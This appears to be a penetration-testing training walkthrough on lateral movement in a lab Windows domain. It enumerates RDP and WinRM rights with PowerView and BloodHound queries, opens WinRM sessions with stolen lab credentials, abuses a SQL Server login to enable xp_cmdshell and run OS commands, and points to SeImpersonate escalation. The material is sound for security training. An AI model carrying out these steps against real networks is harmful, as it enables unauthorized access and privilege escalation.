Privileged Access

Typically, if we take over an account with local admin rights over a host, or set of hosts, we can perform a Pass-the-Hash attack to authenticate via the SMB protocol. But what if we don't yet have local admin rights on any hosts in the domain?

There are several other ways we can move around a Windows domain.


Remote Desktop

Sometimes, we will obtain a foothold with a user that does not have local admin rights anywhere, but does have the rights to RDP into one or more machines.

Using PowerView, we could use the Get-NetLocalGroupMember function to begin enumerating members of the Remote Desktop Users group on a given host.

PS C:\xyz> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"

ComputerName : ACADEMY-EA-MS01
GroupName    : Remote Desktop Users
MemberName   : LEGALCORP\Domain Users
SID          : S-1-5-21-3842939050-3880317879-2865463114-513
IsGroup      : True
IsDomain     : UNKNOWN

Typically first thing to check after importing BloodHound Data:

Does the Domain Users group have local admin rights or execution rights (such as RDP or WinRM) over one or more hosts?

If we gain control over a user through an attack such as LLMNR/NBT-NS Response Spoofing or Kerberoasting, we can search for the username in BloodHound to check what type of remote access rights they have either directly or inherited via group membership under Execution Rights on the Node Info tab.

We could also check the Analysis tab and run the pre-built queries Find Workstations where Domain Users can RDP or Find Servers where Domain Users can RDP.


WinRM

Enumerating the Remote Management Users Group

PS C:\xyz> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"

ComputerName : ACADEMY-EA-MS01
GroupName    : Remote Management Users
MemberName   : LEGALCORP\forend
SID          : S-1-5-21-3842939050-3880317879-2865463114-5614
IsGroup      : False
IsDomain     : UNKNOWN

We can also utilize this custom Cypher query in BloodHound to hunt for users with this type of access.

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

Establishing WinRM Session from Windows

PS C:\xyz> $password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
PS C:\xyz> $cred = new-object System.Management.Automation.PSCredential ("LEGALCORP\forend", $password)
PS C:\xyz> Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred

[ACADEMY-EA-DB01]: PS C:\Users\forend\Documents> hostname
ACADEMY-EA-DB01
[ACADEMY-EA-DB01]: PS C:\Users\forend\Documents> Exit-PSSession
PS C:\xyz> 

From a Linux attack host, we can use the tool evil-winrm to connect.

From here, we could dig around to plan our next move.


SQL Server Admin

In BloodHound we can check for SQL Admin Rights in the Node Info tab for a given user or use this custom Cypher query to search:

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

We can use our ACL rights to authenticate with the wley user, change the password for the damundsen user and then authenticate with the target using a tool such as PowerUpSQL, which has a handy command cheat sheet. Let's assume we changed the account password to SQL1234! using our ACL rights. We can now authenticate and run operating system commands.

First, hunt for SQL server instances

PS C:\xyz> cd .\PowerUpSQL\
PS C:\xyz>  Import-Module .\PowerUpSQL.ps1
PS C:\xyz>  Get-SQLInstanceDomain

ComputerName     : ACADEMY-EA-DB01.legalcorp.local
Instance         : ACADEMY-EA-DB01.legalcorp.local,1433
DomainAccountSid : 1500000521000170152142291832437223174127203170152400
DomainAccount    : damundsen
DomainAccountCn  : Dana Amundsen
Service          : MSSQLSvc
Spn              : MSSQLSvc/ACADEMY-EA-DB01.legalcorp.local:1433
LastLogon        : 4/6/2022 11:59 AM

We could then authenticate against the remote SQL server host and run custom queries or operating system commands.

PS C:\xyz>  Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "LEGALCORP\damundsen" -password "SQL1234!" -query 'Select @@version'

VERBOSE: 172.16.5.150,1433 : Connection Success.

Column1
-------
Microsoft SQL Server 2017 (RTM) - 14.0.1000.169 (X64) ...

We can also authenticate from a attack host using mssqlclient.py.

neutron@kali[/kali]$ mssqlclient.py LEGALCORP/[email protected] -windows-auth
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands

We could then choose enable_xp_cmdshell to enable the xp_cmdshell stored procedure if the account in question has the proper access rights.

SQL> enable_xp_cmdshell

[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(ACADEMY-EA-DB01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

Here we can enumerate the rights that our user has on the system and see that we have SeImpersonatePrivilege, which can be leveraged in combination with a tool such as JuicyPotato, PrintSpoofer, or RoguePotato to escalate to SYSTEM level privileges.

xp_cmdshell whoami /priv
output                                                                             

--------------------------------------------------------------------------------   

NULL                                                                               

PRIVILEGES INFORMATION                                                             

----------------------                                                             

NULL                                                                               

Privilege Name                Description                               State      

============================= ========================================= ========   

SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled   

SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled   

SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled    

SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled    

SeImpersonatePrivilege        Impersonate a client after authentication Enabled    

SeCreateGlobalPrivilege       Create global objects                     Enabled    

SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled   

NULL